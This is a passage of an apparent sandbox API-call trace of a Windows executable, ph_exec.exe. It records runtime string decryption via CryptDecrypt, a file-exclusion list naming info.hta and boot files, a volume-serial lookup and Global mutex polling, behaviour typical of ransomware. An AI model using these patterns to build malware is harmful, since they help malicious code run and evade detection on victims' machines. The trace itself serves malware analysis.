| out: phKey=0x53f5e4*=0x582bb0) returned 1 [0032.411] CryptSetKeyParam (hKey=0x582bb0, dwParam=0x1, pbData=0x53f5cc, dwFlags=0x0) returned 1 [0032.411] CryptDecrypt (in: hKey=0x582bb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca8ca0, pdwDataLen=0x53f598 | out: pbData=0xca8ca0, pdwDataLen=0x53f598) returned 1 [0032.411] CryptDestroyKey (hKey=0x582bb0) returned 1 [0032.411] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca8548 [0032.411] CryptImportKey (in: hProv=0x574d50, pbData=0x53f574, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f5dc | out: phKey=0x53f5dc*=0x582af0) returned 1 [0032.411] CryptSetKeyParam (hKey=0x582af0, dwParam=0x1, pbData=0x53f5c4, dwFlags=0x0) returned 1 [0032.411] CryptDecrypt (in: hKey=0x582af0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca8548, pdwDataLen=0x53f590 | out: pbData=0xca8548, pdwDataLen=0x53f590) returned 1 [0032.411] CryptDestroyKey (hKey=0x582af0) returned 1 [0032.411] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaaf50 [0032.411] CryptImportKey (in: hProv=0x574d50, pbData=0x53f54c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f5b4 | out: phKey=0x53f5b4*=0x582c70) returned 1 [0032.411] CryptSetKeyParam (hKey=0x582c70, dwParam=0x1, pbData=0x53f59c, dwFlags=0x0) returned 1 [0032.411] CryptDecrypt (in: hKey=0x582c70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaaf50, pdwDataLen=0x53f568 | out: pbData=0xcaaf50, pdwDataLen=0x53f568) returned 1 [0032.411] CryptDestroyKey (hKey=0x582c70) returned 1 [0032.411] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x84) returned 0xca82f8 [0032.411] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x84) returned 0xca8388 [0032.411] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaafe8 [0032.411] CryptImportKey (in: hProv=0x574d50, pbData=0x53f524, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f58c | out: phKey=0x53f58c*=0x5827f0) returned 1 [0032.411] CryptSetKeyParam (hKey=0x5827f0, dwParam=0x1, pbData=0x53f574, dwFlags=0x0) returned 1 [0032.411] CryptDecrypt (in: hKey=0x5827f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaafe8, pdwDataLen=0x53f540 | out: pbData=0xcaafe8, pdwDataLen=0x53f540) returned 1 [0032.412] CryptDestroyKey (hKey=0x5827f0) returned 1 [0032.412] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaafe8 | out: hHeap=0xca0000) returned 1 [0032.412] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xca82f8, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0032.412] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8388 | out: hHeap=0xca0000) returned 1 [0032.412] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaaf50 | out: hHeap=0xca0000) returned 1 [0032.412] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca0550 [0032.412] CryptImportKey (in: hProv=0x574d50, pbData=0x53f548, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f5b0 | out: phKey=0x53f5b0*=0x582df0) returned 1 [0032.412] CryptSetKeyParam (hKey=0x582df0, dwParam=0x1, pbData=0x53f598, dwFlags=0x0) returned 1 [0032.412] CryptDecrypt (in: hKey=0x582df0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca0550, pdwDataLen=0x53f564 | out: pbData=0xca0550, pdwDataLen=0x53f564) returned 1 [0032.412] CryptDestroyKey (hKey=0x582df0) returned 1 [0032.412] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x18) returned 0xca0578 [0032.412] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x18) returned 0xca14b8 [0032.412] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaa538 [0032.412] CryptImportKey (in: hProv=0x574d50, pbData=0x53f520, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f588 | out: phKey=0x53f588*=0x582c70) returned 1 [0032.412] CryptSetKeyParam (hKey=0x582c70, dwParam=0x1, pbData=0x53f570, dwFlags=0x0) returned 1 [0032.412] CryptDecrypt (in: hKey=0x582c70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaa538, pdwDataLen=0x53f53c | out: pbData=0xcaa538, pdwDataLen=0x53f53c) returned 1 [0032.412] CryptDestroyKey (hKey=0x582c70) returned 1 [0032.412] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaa538 | out: hHeap=0xca0000) returned 1 [0032.412] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0xca0578, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0032.412] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca14b8 | out: hHeap=0xca0000) returned 1 [0032.412] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca0550 | out: hHeap=0xca0000) returned 1 [0032.412] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20a) returned 0xcab350 [0032.412] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20a) returned 0xcab568 [0032.412] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xcab568, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe")) returned 0x23 [0032.412] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcab568 | out: hHeap=0xca0000) returned 1 [0032.412] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0xb38) returned 0xcab568 [0032.412] GetLastError () returned 0x0 [0032.412] GetLastError () returned 0x0 [0032.412] GetLastError () returned 0x0 [0032.412] GetLastError () returned 0x0 [0032.412] GetLastError () returned 0x0 [0032.412] GetLastError () returned 0x0 [0032.412] GetLastError () returned 0x0 [0032.412] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.413] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.414] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.415] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.416] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.417] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.418] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.419] GetLastError () returned 0x0 [0032.420] GetLastError () returned 0x0 [0032.420] GetLastError () returned 0x0 [0032.420] GetLastError () returned 0x0 [0032.420] GetLastError () returned 0x0 [0032.420] GetLastError () returned 0x0 [0032.420] GetLastError () returned 0x0 [0032.420] GetLastError () returned 0x0 [0032.420] GetLastError () returned 0x0 [0032.420] GetLastError () returned 0x0 [0032.420] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x12) returned 0xca0550 [0032.420] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x86) returned 0xca8388 [0032.420] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca8388, Size=0x9e) returned 0xca8388 [0032.420] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1a) returned 0xca8430 [0032.422] WaitForMultipleObjects (nCount=0x3, lpHandles=0x53f7b0*=0x1f8, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 6 os_tid = 0xa80 Thread: id = 7 os_tid = 0x840 [0031.939] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca1248 [0031.939] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x5827b0) returned 1 [0031.939] CryptSetKeyParam (hKey=0x5827b0, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0031.939] CryptDecrypt (in: hKey=0x5827b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1248, pdwDataLen=0x229f6cc | out: pbData=0xca1248, pdwDataLen=0x229f6cc) returned 1 [0031.939] CryptDestroyKey (hKey=0x5827b0) returned 1 [0031.939] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca12f0 [0031.939] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca5af8 [0031.939] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca5b20 [0031.939] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x582df0) returned 1 [0031.939] CryptSetKeyParam (hKey=0x582df0, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0031.939] CryptDecrypt (in: hKey=0x582df0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca5b20, pdwDataLen=0x229f6a4 | out: pbData=0xca5b20, pdwDataLen=0x229f6a4) returned 1 [0031.939] CryptDestroyKey (hKey=0x582df0) returned 1 [0031.939] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5b20 | out: hHeap=0xca0000) returned 1 [0031.939] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca12f0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.939] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5af8 | out: hHeap=0xca0000) returned 1 [0031.939] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1248 | out: hHeap=0xca0000) returned 1 [0031.939] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.940] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca12f0 | out: hHeap=0xca0000) returned 1 [0031.940] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xca12f0 [0031.940] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x582930) returned 1 [0031.940] CryptSetKeyParam (hKey=0x582930, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0031.940] CryptDecrypt (in: hKey=0x582930, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca12f0, pdwDataLen=0x229f700 | out: pbData=0xca12f0, pdwDataLen=0x229f700) returned 1 [0031.940] CryptDestroyKey (hKey=0x582930) returned 1 [0031.940] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca5af8 [0031.940] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x204 [0031.940] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0x0) returned 0x102 [0031.940] CloseHandle (hObject=0x204) returned 1 [0031.940] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca12f0 | out: hHeap=0xca0000) returned 1 [0031.940] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5af8 | out: hHeap=0xca0000) returned 1 [0031.940] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca1248 [0031.940] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x5826b0) returned 1 [0031.940] CryptSetKeyParam (hKey=0x5826b0, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0031.940] CryptDecrypt (in: hKey=0x5826b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1248, pdwDataLen=0x229f6cc | out: pbData=0xca1248, pdwDataLen=0x229f6cc) returned 1 [0031.940] CryptDestroyKey (hKey=0x5826b0) returned 1 [0031.940] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca12f0 [0031.940] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca5af8 [0031.940] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca5b20 [0031.940] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x582bb0) returned 1 [0031.940] CryptSetKeyParam (hKey=0x582bb0, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0031.940] CryptDecrypt (in: hKey=0x582bb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca5b20, pdwDataLen=0x229f6a4 | out: pbData=0xca5b20, pdwDataLen=0x229f6a4) returned 1 [0031.940] CryptDestroyKey (hKey=0x582bb0) returned 1 [0031.940] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5b20 | out: hHeap=0xca0000) returned 1 [0031.940] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca12f0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.940] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5af8 | out: hHeap=0xca0000) returned 1 [0031.940] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1248 | out: hHeap=0xca0000) returned 1 [0031.940] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.941] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca12f0 | out: hHeap=0xca0000) returned 1 [0031.941] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xca12f0 [0031.941] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x582d70) returned 1 [0031.941] CryptSetKeyParam (hKey=0x582d70, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0031.941] CryptDecrypt (in: hKey=0x582d70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca12f0, pdwDataLen=0x229f700 | out: pbData=0xca12f0, pdwDataLen=0x229f700) returned 1 [0031.941] CryptDestroyKey (hKey=0x582d70) returned 1 [0031.941] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca5af8 [0031.941] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x204 [0031.941] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0x0) returned 0x102 [0031.941] CloseHandle (hObject=0x204) returned 1 [0031.941] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca12f0 | out: hHeap=0xca0000) returned 1 [0031.941] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5af8 | out: hHeap=0xca0000) returned 1 [0031.941] Sleep (dwMilliseconds=0x3e8) [0033.007] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0033.008] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x582db0) returned 1 [0033.008] CryptSetKeyParam (hKey=0x582db0, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0033.008] CryptDecrypt (in: hKey=0x582db0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f6cc | out: pbData=0xca82f8, pdwDataLen=0x229f6cc) returned 1 [0033.008] CryptDestroyKey (hKey=0x582db0) returned 1 [0033.008] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca8320 [0033.008] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca8348 [0033.008] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaa798 [0033.008] CryptImportKey (in: hProv=0x574d50, pbData=0x229f688, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f6f0 | out: phKey=0x229f6f0*=0x582bb0) returned 1 [0033.008] CryptSetKeyParam (hKey=0x582bb0, dwParam=0x1, pbData=0x229f6d8, dwFlags=0x0) returned 1 [0033.008] CryptDecrypt (in: hKey=0x582bb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaa798, pdwDataLen=0x229f6a4 | out: pbData=0xcaa798, pdwDataLen=0x229f6a4) returned 1 [0033.008] CryptDestroyKey (hKey=0x582bb0) returned 1 [0033.008] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xcaa798 | out: hHeap=0xca0000) returned 1 [0033.008] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca8320, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0033.008] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8348 | out: hHeap=0xca0000) returned 1 [0033.008] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0033.008] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x229f758, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x229f758*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0033.008] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8320 | out: hHeap=0xca0000) returned 1 [0033.008] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x40) returned 0xca82f8 [0033.008] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f74c | out: phKey=0x229f74c*=0x582bb0) returned 1 [0033.008] CryptSetKeyParam (hKey=0x582bb0, dwParam=0x1, pbData=0x229f734, dwFlags=0x0) returned 1 [0033.008] CryptDecrypt (in: hKey=0x582bb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x229f700 | out: pbData=0xca82f8, pdwDataLen=0x229f700) returned 1 [0033.008] CryptDestroyKey (hKey=0x582bb0) returned 1 [0033.008] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x34) returned 0xca8340 [0033.008] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x240 [0033.008] WaitForSingleObject (hHandle=0x240, dwMilliseconds=0x0) returned 0x102 [0033.008] CloseHandle (hObject=0x240) returned 1 [0033.009] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0033.009] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8340 | out: hHeap=0xca0000) returned 1 [0033.009] Sleep (dwMilliseconds=0x3e8) [0034.028] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca82f8 [0034.028] CryptImportKey (in: hProv=0x574d50, pbData=0x229f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x229f718 | out: phKey=0x229f718*=0x582a70) returned 1 [0034.028] CryptSetKeyParam (hKey=0x582a70, dwParam=0x1, pbData=0x229f700, dwFlags=0x0) returned 1 [0034.028] CryptDecrypt (in: hKey=0x582a70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, 